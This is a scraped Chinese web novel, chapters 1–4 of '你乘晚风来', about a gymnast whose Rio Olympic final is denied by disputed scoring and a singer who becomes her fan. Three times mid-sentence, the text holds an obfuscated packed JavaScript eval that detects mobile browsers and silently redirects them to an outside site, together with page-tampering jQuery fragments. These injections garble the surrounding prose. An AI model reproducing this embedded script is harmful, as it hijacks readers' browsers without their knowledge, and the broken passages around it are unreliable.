《你乘晚风来》 1. 1 南半球的八月和北半球正好相反,但又因为身处热带,二十度左右的温度正适宜。 明明是干燥少雨的地方,从奥运村到机场一路反倒淅淅沥沥,滴滴答答,落在心上,让人烦闷。 今年女队成绩一般,只摘了一块牌,整体士气都不高,大巴上安静得很,连一向叽叽喳喳的刘欣羽都歪着头靠在椅背上闭着眼休息。 虞落睡不着,一直望着窗外发呆,脑子里反反复复想着资格赛那天,凌转,叶戈尔,连接都没问题,难度分也是在的,完成分怎么就会这么低呢。 虞落心理素质差,奥运大名单她是最后一个,上面想要一个大赛经验足的,王妈妈和朱导力排众议才给她争取到的名额。 下杠后,王妈妈满脸笑意,连一向严厉的朱导都拍了拍她肩膀,她自己感觉也不错,仿佛已经登上了决赛的领奖台。 难度分6.9,完成分7.5,正好排第九,第一替补,王妈妈笑意瞬间僵在脸上,朱导也立刻从熙熙攘攘的人群中穿过去,一路小跑到场地的另一边,找裁判组申诉。 等待结果的时候,全队都围在她身边,男队也涌过来鼓励她,没事,全世界观众都看着呢,裁判组肯定得给个说法。 是啊,世界第一高难度,无明显失误,怎么会连决赛都没进。 心里总存着点微弱的光。 申诉接过出来的很快,维持原判,那点微弱的光也灭了。 失望,自责...全都涌上心头,大巴车猛地刹车,虞落只觉得霎那间头晕目眩,天地都颠覆了,“呕”得一声,早上塞进去的食物全都吐了出来。 队服外套脏了,虞落找刘欣羽要了个袋子装着。许是看她状态不太好,王则月难得允了她大赛期间喝一次咖啡,还多塞给她几张雷亚尔,有什么喜欢的多买点。 在里约的这几天,王则月天天叮嘱不要因为温度高就贪凉,走到哪都盯着她们把外套都穿着,里面的衣服就没管那么严,十几岁的小女孩都爱美,大家都穿着自己喜欢的衣服。 虞落自己的衣服不多,平常大部分时间都是在训练,基本都穿队服或是训练服,这次来里约也没带几件,今天也是随便穿了件黑T,胸前一串字母,鸭舌帽压得很低,和赛场上甜美的形象完全不同。 点单的时候才意识到语言不通的问题。 虞落英语不错,在奥运村的时候和遇到别的队寒暄几句她完全应付得来,直到看到店员一脸迷惑,她才想起巴西的官方语言是葡萄牙语。 里约之行,还真是从头倒霉到尾。 手嘴并用,哇啦哇啦比划半天,两人还是大眼瞪小眼,虞落轻叹了一声,把攥在手里的雷亚尔塞回口袋,不喝也罢。 “虞神?”被一个声音止住了脚步。 中国人?虞落应声回头。 也是胸前一串字母的黑T,戴着黑色鸭舌帽,些许额前碎发从帽檐下探出,嘴角带笑,一双好看的桃花眼微微弯出些弧度。 有点面熟,但虞落记不起来自己认识这个人,“你认识我?” 堂徵微微瞠目,过去几年勤勤恳恳,发歌间隔不超过一个月,各大综艺几乎都上过,就算没听过他的歌也该看过一些节目吧? 讶异的表情只呈现了一瞬,堂徵礼貌道,“我是你的粉丝,这次来巴西就是特地来看你的比赛的。” 撒了个小谎,虽然不是特地来看她的,但已经被圈粉了,以后会经常特地看她的比赛的。 虞落面上不动声色,内心已经闪过无数猜测,喜欢竞技体操的人不多,还专门来里约看比赛,八成是撒谎。但如果不是撒谎,为什么又会认识自己呢?。 堂徵见她许久未应,又继续热情道,“我叫堂徵,是一名歌手,我和你们队里的卓远是发小,一直都有关注竞技体操。” 关键时刻,卓远就是个工具人。不过发小不就是起这个作用的么? 听到“卓远”,虞落心中的猜忌少了几分,脑子里也想起了“阿徵”这个人,刘欣羽天天在耳边念叨的,手机相册里也大半都是他。 带了些微笑点点头,回应道,“谢谢你的关注,我还有事,先走了。” “哎等等!”嘴巴比脑子快了一步,把人留住了,但是完全没想好接下来该说什么。 堂徵憋了半天憋出一句,“可以要一个你的签名吗?” 虞落的曝光度没那么高,也是第一次遇到这种情况,愣了一下,摊开双手,说,“我没带笔。” 堂徵尽力在面上维持镇定,掏遍了全身口袋摸出来一支黑色水笔,“喏,用这个。” 虞落盯着水笔看了一会,又看了眼堂徵,缓缓开口,“可是你的衣服也是黑色的...” 堂徵尴尬挠了挠头,干笑了几声,“确实啊,那我能跟你合个照吗?” 虞落平时就不是个爱拍照的人,又觉得拒绝了不太礼貌,犹豫了一会,还是点了点头,“好。” 堂徵上前一步,虚揽了下虞落的肩,选好角度,“咔擦”一声,便又退回原来的位置,“好了,谢谢你呀,我不会乱发的。” 虞落完全没想过“乱发”这件事情,心里对这位陌生男人的印象稍稍加了些分,“没事,我先走了。” 堂徵挥了挥手,目送虞落离开。不知道为什么,本来因为假期结束稍稍有些烦躁的心情被一阵清风轻轻吹散。 虞落两手空空回去,没买到东西,但遇到了一位很有风度的同乡人,心情也比刚刚轻松了许多。 刘欣羽看她脸色好了不少,顶了顶她胳膊:“一脸怀春,刚刚干什么了?” 虞落的心刚被一波碧水荡漾了一番,拍了拍刘欣羽的脑袋,“见你偶像去了。” 刘欣羽“哼”了一声,显然当作是玩笑话了,“我偶像可不是你想见就能见的。” 虞落很少开玩笑,既然开得起玩笑,就说明心情应该好了很多吧。刘欣羽一直悬着的心终于放下了。 虞落抿嘴笑,也没解释,以后也不再会有机会遇到了。 中国到巴西没有直飞的航班,体操队全体在赤鱲角国际机场转机,得等三个小时。 推着行李车往集合的休息点走的时候,左肩突然被拍了一下,虞落回头,却发现没人,再往另一边看,是阿徵。 “好巧啊,又见面了。”堂徵倒是依旧热情。 虞落扬起一个笑容,“是啊,好巧。” 虞落的长相是第一眼就可以惊艳到的那种,笑起来更甚。不需要淡妆浓抹,一双杏仁般的眼睛略微弯一弯就可以渗出无数甜意。 和在赛场上不同,褪下妆容和赛场上的气势,回归普通的虞落更似一株清水芙蓉,见惯了圈内浓妆艳抹的各类“妖魔”的堂徵不由看得一愣。 视线很快移开,又落到虞落手里的行李车上,两个超大的行李箱,看着就重,“我帮你推行李吧?” 虞落摇摇头,“不用,我可以。” 也对哦,人家是个运动员。 堂徵没再坚持,说,“我可以找卓远要你的微信吗?刚刚拍的图片P好了,可以发给你。” 王则月大老远朝着自己招手,催自己过去,虞落没多想,点了点头,“嗯好,我先过去了。” 王则月大老远就注意到了她和一个男人说话,走上前帮忙推行李,问,“落落,那是谁?你认识吗?怎么认识的?” 王则月虽然名义上是训练的指导,但也很关心队员的生活状况,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069349|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个竞技被拒绝心里莫名还有一丝失落,体操队的“妈妈”。 虞落很有耐心地一一回答了王则月的每个问题,“我是在里约热内卢的机场买咖啡遇到他的,刚刚又遇到就打了个招呼。” 虞落早熟,队里王则月对她最放心,只是又叮嘱了一句,“结果别太放在心上,团体还是发挥正常的,回去先休息几天。” 虞落点点头,“谢谢王妈妈。” 王则月拍了拍她脑袋,“我去那边再看看人,你先去集合吧。” 刘欣羽已经给她占了位置,老远就冲她招手。 放下包,人还没坐稳,刘欣羽就已经搂住了她脖子,“老实交代,那个男人是谁?” “那个男人”的称呼虞落还没习惯,“什么?” “你可别不承认啊,我们刚刚可都看到了。” 女队的其他三个人也一下涌上来,竖起三双听八卦的耳朵。 虞落无奈,“就是偶遇。” “偶遇还说话?少骗我们。”岳锦洁一脸“信你的鬼话”。 “他是我的粉丝。”虞落一脸认真。 大家齐齐“嘁”了一声,显然是不信的,但正好朱导来数人数了,就都各自坐回了自己的位置。 刘欣羽不甘心就这么放弃大好的八卦机会,拉着她耳语道,“休想骗我,那个男人高高瘦瘦,脸上棱角也很分明,看着不错呀,说,到底是谁!” 虞落淡定看了刘欣羽一眼,“你偶像。” 还是里约机场那一套,刘欣羽翻了个白眼,“不想说也别编这种瞎话好嘛。” 虞落只是笑,拧开水杯喝了一口水。 刘欣羽见虞落不像是玩笑,才后知后觉,“不会吧,不会是真的吧?” 虞落故意不接话,吊足了刘欣羽的胃口才缓缓开口解释了一遍十几个小时前发生的事情。 “后来呢后来呢?”虞落早有准备,捂住了刘欣羽的嘴才没引起大家的瞩目,但刘欣羽还是止不住好奇。 “哪还有什么后来,以后也不可能再见面的。”手机震动了一下,虞落从口袋里掏出手机。 哦对,他刚刚好像说要加自己,那还是有后来的。 微信“新的好友”界面,清清楚楚显示着,“堂徵请求添加您为好友。” 原来他叫堂徵啊。 看虞落半天没理自己,刘欣羽直接凑上前去,“叔叔阿姨说什么了?” 她们的社交圈都是重合的,除了虞落的父母刘欣羽想不到有别的人会在这个时候发消息。 虞落还没来得及收起手机,刘欣羽的土拨鼠尖叫就已经炸在她耳边了。 她吓得赶紧摁灭手机屏幕,四周看了一眼,连男队都投来了疑惑的眼神,虞落只能回以抱歉的笑。 “你小点声!” “不是,哎,他加你了!是阿徵哎...”刘欣羽激动到语无伦次,抓着虞落的手晃个不停。 虞落看刘欣羽激动到不能自已,叮嘱道,“你小点声,可千万别告诉别人啊。” 刘欣羽完全听不进虞落的话,“是阿徵!阿徵!小美人,你一定要把他的微信推给我,啊不对,要保护好他的隐私。” 虞落被刘欣羽弄得哭笑不得,这下是彻底把比赛失利抛之脑后了。 “你们俩干嘛呢?虞落,比赛什么样心里没点数吗?回去就要反思你想好了没?”朱良不知道什么时候站在了两人面前,两个人都吓得一哆嗦,不敢再闹。 朱良和王则月正好相反,平时在队里唱黑脸,打心底里也是真心护着这帮孩子。本就是费了好大劲才让虞落进的奥运大名单,没取得好成绩也不好好反思,要是落到有心人耳朵里,估计又得有不少闲话。 2. 2 登机前还是给周成涛打了个电话,“还有三个半小时到。” “你小子终于回来了,你知道我要被赵圆那老妖婆折磨成什么样了吗?”周成涛气急败坏的声音在堂徵耳里听着格外舒服。 堂徵悠闲回了句,“让你跟我一起你不来,这怪谁?” 周成涛的语气听起来更气急败坏了,“这位大哥,要是我跟你一起去了,谁给你擦屁股?” 堂徵“反击”道,“那您是擦了什么屁股呢?我说要来看卓远的比赛,你给我买的什么票?” 周成涛闻言“嘿嘿”一笑,“人世界冠军的比赛多抢手啊,你跟我说的时候早卖完了。” “那你能不跟我说一声就自作主张?” “你怎么还区别对待呢?人女队比赛不好看吗?我可是特地去了解了一下,其中有个姑娘叫虞落,去年可是世锦赛冠军呢,长得也不错,怎么样,拿了冠军没?” 堂徵沉默,也难怪人家不信自己是她的粉丝,比完赛好几天了,对八卦向来嗅觉灵敏的周成涛都还不了解结果。 “哎,咋没声了?老堂?不会遇到粉丝了吧?大哥,可千万别被拍啊...” 周成涛还在那边啰里巴嗦,堂徵懒得听唠叨,只直接说了句,“哎,我要关机了。”然后果断挂了电话。 换登机牌、找到座位、把行李放到行李架上,一系列流程堂徵轻车驾熟。 路程长着呢,堂徵带上眼罩,睡意却久久未到,思绪飘到了十万八千里。 从出发那天,再到比赛那天,一切都在脑子里放了遍电影。 临时起意拖了个箱子去周成涛家,嘴皮都要磨破了这货还死活不愿意跟自己一起去玩,也不肯送自己去机场,还说什么不能“助纣为虐”。 出门时丢下一句,“给我买卓远的票。”然后便“砰”地一声把身后人的骂骂咧咧堵在门里。 十几个小时后,人下了飞机,也收到了周成涛发来的票务信息,周成涛办事向来靠谱,他也就没仔细看。 他不信神,不想去基督山,第一天去走了里约的市立歌剧院和现代艺术博物馆,后面几天都在博塔佛戈海滩随便走走,再后来干脆就在酒店躺着刷手机,讲真,以前几年都完全没休息过,现在一下子闲了还真不知道该做什么。 要不是比赛日还没到,都准备回国了。 鸭舌帽,墨镜,黑口罩,拧不过周成涛的千叮咛万嘱咐,还是把自己包裹成了抢劫犯,但直到坐在看台上看到运动员出场,他才知道是自己被坑了。 卓远确实在,但却是作为队友来给女队加油的。 要真是决赛倒也就算了,还是单项的资格赛,每支队伍只有两名队员参加。 总比在酒店里躺着强,堂徵按捺住了离开的心思。 场馆内的人乌压压一片,没有望远镜看过去,攒动的人头就是一团团乱爬的蚂蚁。 好在找到中国队并没有费多大劲,那格外耀眼的笑容在火红的队服的衬托下更像烈焰里纯洁的牡丹。 她本一脸严肃地挺拔着,高马尾上夹了个和队服同色的大红蝴蝶结,一双杏仁眼瞪得溜圆,写满紧张。 隔壁站着的队里似乎是有认识的朋友和她打招呼,她侧过头,正好是面向堂徵的方向,嘴角上扬,眉眼弯出一个半圆的月亮,眼角的亮片熠熠生辉。 几乎是条件反射,堂徵拿出手机搜到了她的名字,虞落。 虞落,因2015年格拉斯哥世界体操锦标赛上高低杠世界第一难度而一战出名,当时虽然只是替补,但表现让人眼前一亮。 里约奥运会虞落报的是高低杠单项和女团全项,看样子,体操队很重视她,要把她培养成全能人才。 喜欢竞技体操的网友把她捧得很高,称她为“虞神”。还有人说她是继何可欣之后第二位“高低杠公主”。 期待值一下被拉满,正好介绍到了中国队,虞落上前一步,踮起脚挺起胸,下颌和光洁的天鹅颈形成一个完美的夹角,嘴角笑意璀璨,细细长长的胳膊从身侧划过一个半圆的弧度,兰花指在空中稍作停留。 真美。堂徵脑中所有的形容词都黯然失色了。 资格赛有三十多个人,取前八名,按照虞落世锦赛的成绩,这场资格赛不过是走个过场,堂徵已经开始想着,怎么找个黄牛搞到高低杠决赛的票。 虞落是第十位,前面几位中有位世界顶级,已经出了个高分,15.033,目前第二名和她差了竟有0.3分,虞落看着比介绍队员时多了份紧张,小脸更加紧绷了。 整理报告第九位选手的成绩时,虞落正式站上比赛场地。 和其他选手一样,虞落先试了试两根杠的摩擦力,拿了个喷壶在高杠上喷了点水,再走到一旁的镁粉盆里抹了点镁粉,手上、腿上都稍微拍了拍,然后走到高杠旁边,往杠上拍了拍。 虞落检查器械向来仔细,一切检查做完后,便在高杠和低杠间站定。 哨响,虞落深吸一口气,再次踮脚扬头,脸上绽开专属于她的甜美微笑。 开始了。 上来便给了个E组难度,扭臂大回环单臂转体360度成反握,后面又给了个G组,堂徵没太听懂场外解说的专业术语,但还是敏锐捕捉到了惊叹的语气,最高难度。 再是单臂大回环接京格尔,高杠反握后撑,屈体前回环向后弧形摆换握成低杠,酣畅淋漓。 又从低杠翻到高杠,最后以“马燕红”下下杠,马步顿住,双臂伸直向前,平稳落地,观众席响起如潮掌声。 堂徵也情不自禁鼓起掌,他虽然不懂专业动作,但凭着和卓伟多年好友也看得出来,论难度和连贯性,无人能及虞落。 杠上的她,虽然不能时时保持笑容,但依旧熠熠生辉,让人离不开眼。 “虞神”的名号,他才算是真正懂了,她当之无愧。 虞落对自己的发挥也很满意,还在软垫上,就激动地和在一旁保护的教练拥抱在一起,下了场和队友们一一击掌,之前一直不苟言笑的另一位教练也拍了拍她的肩。 等待结果是个漫长的过程,虽然内心坚信虞落必进决赛,但堂徵还是止不住地紧张到手抖。 第十一位终于比完了,虞落的成绩也通过话筒和大屏传到馆内各个角落,14.40。 观众席上中国队助阵区瞬间安静,堂徵能清晰地听到自己的心跳慢了半拍。 震惊、错愕、失望,不仅是女队,连男队前来助威的都露出了这样的神色。 那位一直脸上不显山不露水的教练也面露愠色,一溜烟跑到裁判席前,激动地比划着。 他反应很迅速,连翻译都愣了一下,追到裁判席前的时候,教练已经急得满头大汗。 广播里很快传来一句英文,“中国队对结果提出申诉。” 又是一阵漫长的等待,中国队的助阵区像是商量好似的,没有一人添乱,一直安安静静等到申诉结果出来。 裁判组由好几个国家的国际顶尖裁判组成,目测没有一个是黄皮肤。好像是以为黑人女士提出了不同的意见,另几位白人男士激动地比划着,挥舞的胳膊恨不得将那位女士摁住。 那位女教练陪着另一位要比赛的选手留在原地,体操队在现场的其余人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069350|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都围在了裁判席前。即使几位裁判吵得激烈,他们也不敢发出任何声音,生怕影响了裁判的重新评判。 “中国队申诉失败。” 安静一下子被打破,裁判席前的一众队员都像炸了锅般,愤怒地朝着裁判不停比划,连翻译一时也都不知道该翻谁的话。虞落英语不错,但脑子一下子全乱了,张了张口,也不知道该说什么。 裁判席前的教练怔了一瞬,认清事实后很快让大家都安静,看口型,堂徵隐约辨认出:“结果已定没法改变,但我们中国人的风骨不能因为一块奖牌丢在这个场地!后面还有一个队员,我们先回去给她打气。” 教练很有威望,人群立即散开,又回到了中国队候场的地方。 女教练急忙迎上来询问情况,男教练对着她摇了摇头,叹口气,便走到另一位选手旁边,拍了拍肩,似乎是说了句鼓励的话。 虞落被其余人围在中间,脸上的失落已然全部藏起,重新浮起微笑,跟大家不断说着,“没关系,没关系。” 这笑落在堂徵眼里比哭还难看,一股气郁结在胸腔,出不来也咽不下去,看完另一位中国队选手的比赛,堂徵便离场了。 好在另一位选手进了决赛,也不至于高低杠这一项目中国队完全和奖牌无缘。 堂徵查了比赛日程,许是资格赛引起民愤导致票房一下高涨,蹲了好几天黄牛还是没买到女团的票,只能蹲在酒店里看直播。 和资格赛那天相比,虞落脸上明显失了那份淡然,紧张显而易见。 发挥没有失常,但和资格赛那天相比差距十分明显,观众席上也少了份那天的热血。 但堂徵眼里依旧捕捉了这姑娘努力发光的模样。 中国队的女团实力不容小觑,把银牌收入囊中似乎是所有人的共识。 许是前几天那场不公正的打分影响太大,又许是那次不公正的延伸,最终女团获得了铜牌。 里约奥运会,有荣有辱,乒乓球一如既往世界领先,女排重获世界冠军,但对于女子竞技体操来说,是一场不想再做的噩梦。 堂徵平时其实不太关注体育比赛,真真切切坐在场下看比赛,真真切切和场上的运动员们共情,那种竞技体育所独有的热血在内心澎湃,和以前自己的任何胜利都是无法比拟的。 作为一名创作型歌手,堂徵竟一时词穷,无法描述那难以言喻的情感。 他只知道,作为一名中国人,即使体操队没有获得理想的成绩,他依旧为她们感到骄傲。 当然,虞落的名字和形象也烙印在他脑中了。他因为卓远一向还挺关注男队的比赛,以后也会去了解女队了。 看完比赛也没再拖,第二天就回国,也不能让周成涛那货一人头疼烂摊子。 在机场偶遇是完全没有预料到的,本来只是在咖啡厅找个角落等着登机,一个黄皮肤的女孩从一片黑皮肤中走过来,很显眼。 堂徵不禁多瞧了这位老乡几眼,还是个熟面孔。 虞落的打扮和场上的甜美大相径庭,一袭黑衣,原来是个酷girl。 人设在和店员比划的时候塌了,急得说英语,但店员只会葡萄牙语,本来想装作小粉丝帮她买杯咖啡,结果把人吓走了。 卓远追问了好几遍到底要她的微信做什么,他都没想好怎么答。卓远无奈,二十多年的交情,他知道堂徵要不到不罢休。发了后千叮咛万嘱咐,不要随便勾搭人小姑娘,不要把他卖了,不要乱发给别人。 他也是个成年人了,又不傻,只是单纯交个朋友而已。堂徵直接忽略掉卓远的啰嗦,点进去发送了申请。 3. 3 堂徵找了个能看到体操队的角落,坐下后才后知后觉,自己这样是不是像个变态? 虞落估计是收到了自己发的微信好友申请消息,拿出手机看了一眼,身旁的女生也凑过来看了眼手机界面,瞬间脸上就写满了震惊,很快又转为惊喜,土拨鼠尖叫更是响得连自己都听见了。 明明好朋友这么喜欢自己,她怎么会不认识自己呢?堂徵对虞落愈发充满好奇。 许是因为太过吵闹,那位一直很严肃的男教练,走到她们两面前不知道训了什么,虞落身边的女孩又乖乖坐好。 虞落看了四下一眼,好像是在确定有没有人在看她,随后才又悄悄打开手机。 几乎是同时,自己手机上收到了一条消息,“您已成功添加‘雨落’为好友,开始聊天吧。” 加自己微信跟做贼似的,堂徵“噗嗤”笑出声,又怕被发现,立刻捂住嘴。 真可爱啊。 堂徵也不知道自己在那里到底看了多久,反正竞技体操队全员都站起来,收拾包,推着箱子去登机口排队的时候,自己都没意识已经到登机时间了。 周成涛发来了很多消息,手机一直振动个不停,堂徵眼睛闲下来了,才想起来看一眼。 “祖宗,给你定好的VIP休息室,哪怕进去休息一秒,也不至于被拍这么多图吧?” “要不是那记者是我大学同学,你早就热搜第一了。” “还有那姑娘怎么回事?看着还是个学生?你知道这样对你影响多大吗?” 废话真多,回了两个字:“问路。” 此刻在北京一栋高级写字楼里被领导虐秃头的周成涛嘴里不由冒出几句优美的中国话,你猜我信不信? 骂归骂,还是和媒体不厌其烦地解释,“我们阿徵怎么会谈恋爱呢?只是乐于助人,别人来问路,他就帮忙指了方向。” 好在港媒和内地联系没那么紧密,不然周成涛真能一头撞死在公司墙上。 再次登机后,王则月特地换到她旁边来坐。 “落落,今年咱们队成绩都不太理想,你...”王则月欲言又止,换了种方式,“归了队要是李主任批评你,你也别太往心里去,他就那脾气,你也是知道的。” 虞落乖巧点头,“嗯。” “还有啊,你爸爸妈妈有没有给你发消息?” 虞落摇摇头,他们应该没时间看自己的比赛吧?早就习惯了。 “你爸妈只是太忙了,也不想打扰你,你比赛那两天你妈妈还给我发了消息” 虞落不爱听这些话,只能躲避王则月的眼神,说道,“王妈妈,我知道的。” 王则月摸了摸虞落的头发,“还有几个小时呢,睡会吧。” 虞落毫无困意,但还是闭上了眼睛。落地后,还有场苦战。 自虞落13岁进入国家队起,就一直是王则月带她。这姑娘是她看着长大的,表面上看着什么都无所谓,心里比谁都要强,一直想拿第一,让父母多关注自己一些,这下比赛失利,心里肯定迈不过去这道坎。 从机场回体育总局的大巴似乎很不稳,虞落下车后只感觉头“嗡嗡”地响。 “小美人,怎么啦?”刘欣羽看她脸色不好,关心道。 本来是刘欣羽想的外号,后来队里所有人都被带的这么喊她。 “没事,可能有点晕车。”虞落干呕了几声,顺畅了些。 “你不是不晕车吗?今天怎么一下晕了两次?”刘欣羽奇怪道。 “我也不知道。”虞落也很疑惑,听到朱导已经开始催促,便说,“先进去集合吧。” 本该先去宿舍放行李再集合的,但朱导催促得急,没给她们留放行李的时间,一时间总局空旷的走廊上响彻行李箱轱辘的声音。 推门前,王则月让她们先把行李都放原地,又叮嘱了一遍,“不管李主任等会说什么,都别太往心里去啊。” 男队站在第一排,女队在第二排,朱良、王则月还有一个男队的指导站在旁边,十几个人挤在小小的办公室里,等着主任开始训话。 “这次里约奥运会,我们梦之队的成绩,非常不理想!你们配得上梦之队这个名字吗?” “先来说说男队,卓远,你的奖牌呢?国家费尽心思培养你,就是让你去陪跑的?怎么,已经开始想着退役了吗?” “男队其他人,都是干什么吃的?团体就给我拿个铜牌?整个男队就这么一块铜牌!”李兆丰又发现了什么似的,“还哭?还好意思哭呢?” 男队一个奥运前才进国家队的弟弟被吓哭了,不敢出声,也不敢动手抹眼泪,任由眼泪在脸上纵横。 许是见他被吓哭的样子有点可怜,李兆丰开始转移矛头,“女队,赛前自信满满,保银争金,现在呢?结果呢?就给我拿一个铜牌回来!单项也是,连一块牌都没有!” 虞落是女队里最高的,李兆丰不需要眼神搜索便看到了她,“尤其是你,虞落!什么‘虞神’,连决赛都没进!真是把脸都丢尽了!” 骂累了,李兆丰呷了口茶润润嗓。 “李主任,您看,孩子们行李还没放呢,要不先让他们回去...”王则月趁着李兆丰喝口茶的功夫,委婉开口。 李兆丰“砰”地一声吧杯子摔在桌子上,“还有你们两,指导怎么当的?今年体操队就拿两块铜,我怎么向上面交代?” “和孩子们无关,一切责任我来承担。”朱良开口道。 “你承担?你拿什么承担?你们谁的责任都跑不了!”李兆丰双手叉腰,扫视了一遍人群,叹了口气,“都回去收拾东西吧,你们三个留下,其余人别在这碍眼!” 却没有一个人离开。 王则月冲卓远使了个眼色,他在队里年龄最大,获的奖也最多,大家平时都愿意听他的。 卓远收到了眼神,但却依旧笔直站在原地。 不仅是卓远,没有人愿意离开,他们都不想听李兆丰骂几位指导。 最终还是朱良把大家赶走了,“都还杵着干什么呢?还不赶紧回去训练?” 一个个都挂着满脸不情愿出了办公室,躲在门后偷听。 “卓远哥,指导们还会带我们吗?会不会被开除啊?”刚刚那位被骂哭的弟弟小心翼翼开口。 他叫姚子杰,被选上国家队的时候正好是奥运年,刚满成人队的年龄,全运会和全锦赛获过很多奖,和当年的卓远一样,大家都把他当成卓远退役后竞技体操队的接班人。 姚子杰很乖,胆子很小,刚刚也是第一次见识李兆丰发火,也难怪被吓哭。 卓远平时也很照顾这个乖巧的弟弟,安慰道,“李主任只是嘴上不饶人,别往心里去。” 刘欣羽向来直来直去,“我们今年确实没表现好,但也不是我们的错。小美人的分明明就是裁判的问题!” 岳锦洁也忿忿道,“对嘛,我们自己的问题自己承担,回回都骂指导!” 女队队长张清澜年纪稍长一些,性格也比较沉稳,“你们都少说几句,指导们还在里面没出来呢。” 刘欣悦和岳锦洁平时都很服张清澜,乖乖安静下来。 卓远听了听里面的动静,又怕大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069351|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵起来影响到里面,回头对大家说,“都先回去收拾东西,我和清澜先留在这,半个小时后体育馆集合。” 大家都听话地带着自己的行李箱先离开了,卓远和张清澜依旧在门口等三位指导出来。 北京机场人很杂,堂徵本想找个不起眼的角落再看眼女队,没想到刚下飞机就被周成涛截下了,“您是买下这个机场了吗?这都能进来?” 周成涛一脸得意,“买下不至于,这里经理是我大学同学。” 堂徵气结,“您大学同学遍布全世界呢?” “那必须,哪天介绍给你认识。”周成涛“嘿嘿”一笑,又突然变脸,“现在是说这事的时候吗?赶紧跟我回公司,跟老妖婆交代去。” 堂徵懒洋洋道,“着什么急,不让我先回去洗个澡收拾收拾?奔波了快二十个小时,这有损于我形象啊。” 周成涛白了他一眼,“你什么样老妖婆没见过?就差光着了。” “行行行,跟你去。”堂徵知道自己“私奔”这几天,周成涛一定在给自己顶着压力。 老妖婆脸上依旧挂着她招牌的“慈祥”笑容,“阿徵回来了?快来坐。” 周成涛无语,这老妖婆还真是见人说人话,见鬼说鬼话。 “成涛在嘀咕什么呢?”当着堂徵的面,赵圆对周成涛的语气也在表面上变得很温柔。 “有什么话直说吧,管他干什么。”堂徵拉了个椅子大大咧咧坐下,敲了个二郎腿,同时示意周成涛坐自己旁边。 “那我就开始了,”赵圆脸上依旧带着笑容,不过渐渐没了感情,“吴导最近有部新剧选男主角,给你留了个机会,好好表现。” 堂徵皱眉,“我应该说过我不拍戏吧?” 赵圆表情不变,“阿徵,你可能不太了解现在的市场,单做歌手是没有前途的。转行去演戏可以提高你的曝光度,到时候有更多的人来听你的歌不好吗?” 见堂徵一直没说话,赵圆的笑容敛了些,继续道,“而且你还可以继续唱歌呀。只要你同意,《云端》的主题曲给你留着呢。你这张脸,不去演戏可惜了。” 堂徵不想弄得太难看,想了想措辞,拒绝道,“我刚回来想先休息一段时间,下次有好剧本再说吧。” 赵圆脸上的笑容彻底消失,从一旁的文件夹里拿出一个信封,“在里约休息的应该很不错吧?还需要继续休息?” 堂徵打开信封,里面全是自己和虞落的同框照片,里约和香港的都有,“你找人跟踪我?” “需要我跟踪吗?这些都是记者拍的,是我及时拦下来的。”赵圆的语气里尽是不容置喙。 “哪天面试?”沉默良久,堂徵开口。 “明天下午,我亲自带你去。”赵圆又恢复了一脸毫无温度的笑容,“成涛这几天也辛苦了,正好放半天假。” “那不如给成涛放一天假。”不是讨价还价,堂徵也是不容置喙的。 他知道自己不在的这几天赵圆肯定一直为难周成涛。 赵圆盯着他看了一会,允了,“行,明天上午正好要开个新闻发布会,我带你去,然后直接去面试。” 堂徵应了一声,抓起信封起身。 “前几天你去了哪,做了什么,我不追究,后面只要你乖乖听话,我们还是可以愉快合作的。”赵圆在身后提高了声音。 堂徵脚步顿了一下,最后大步流星离开,留下一声愤怒的摔门。 赵圆不介意他的态度,只要结果如她意就可以,扔给周成涛一个文件夹,自己也离开了,“明天的发言稿,让堂徵背了。” 4. 4 大赛结束一般都会直接放假,今天情况特殊,大家放了行李就都去训练场了。 其实谁也没心思真的训练,却都摆出压腿的姿势,聚在一起叽叽喳喳。 刘欣羽大大咧咧,说话也没遮没拦,“李老头事真多,一次成绩不好能怎么样?碍着他领奖金了是吧!” 虞落顶了顶她胳膊,“别乱说话,我们成绩不好确实也是我们自己的问题。” 岳锦洁点了点头,“这点小美人说的对啊,李老头事多是真的,我们成绩差也是真的。” “行行行,拼搏团结,勇往直前。神圣使命时刻扛在肩。”刘欣羽哼了句运动员之歌,不少人都被逗笑,气氛一下子轻松了不少。 “也不看看自己的成绩,还好意思笑?” 一个威严的声音突然打破了场内的笑声,所有人都不敢多话,立刻跑到场中间列队集合。 朱良两手背在后面,走在中间,王则月和男队指导陈昭鸣走在两侧,三人脸色都不太好看。 张清澜和卓远一路小跑入了队,一时间严肃和紧张充斥了整个场馆。 站定后,朱良把整个队伍扫视了一遍,片刻,才开口,“自己的成绩自己心里都有数吧?” 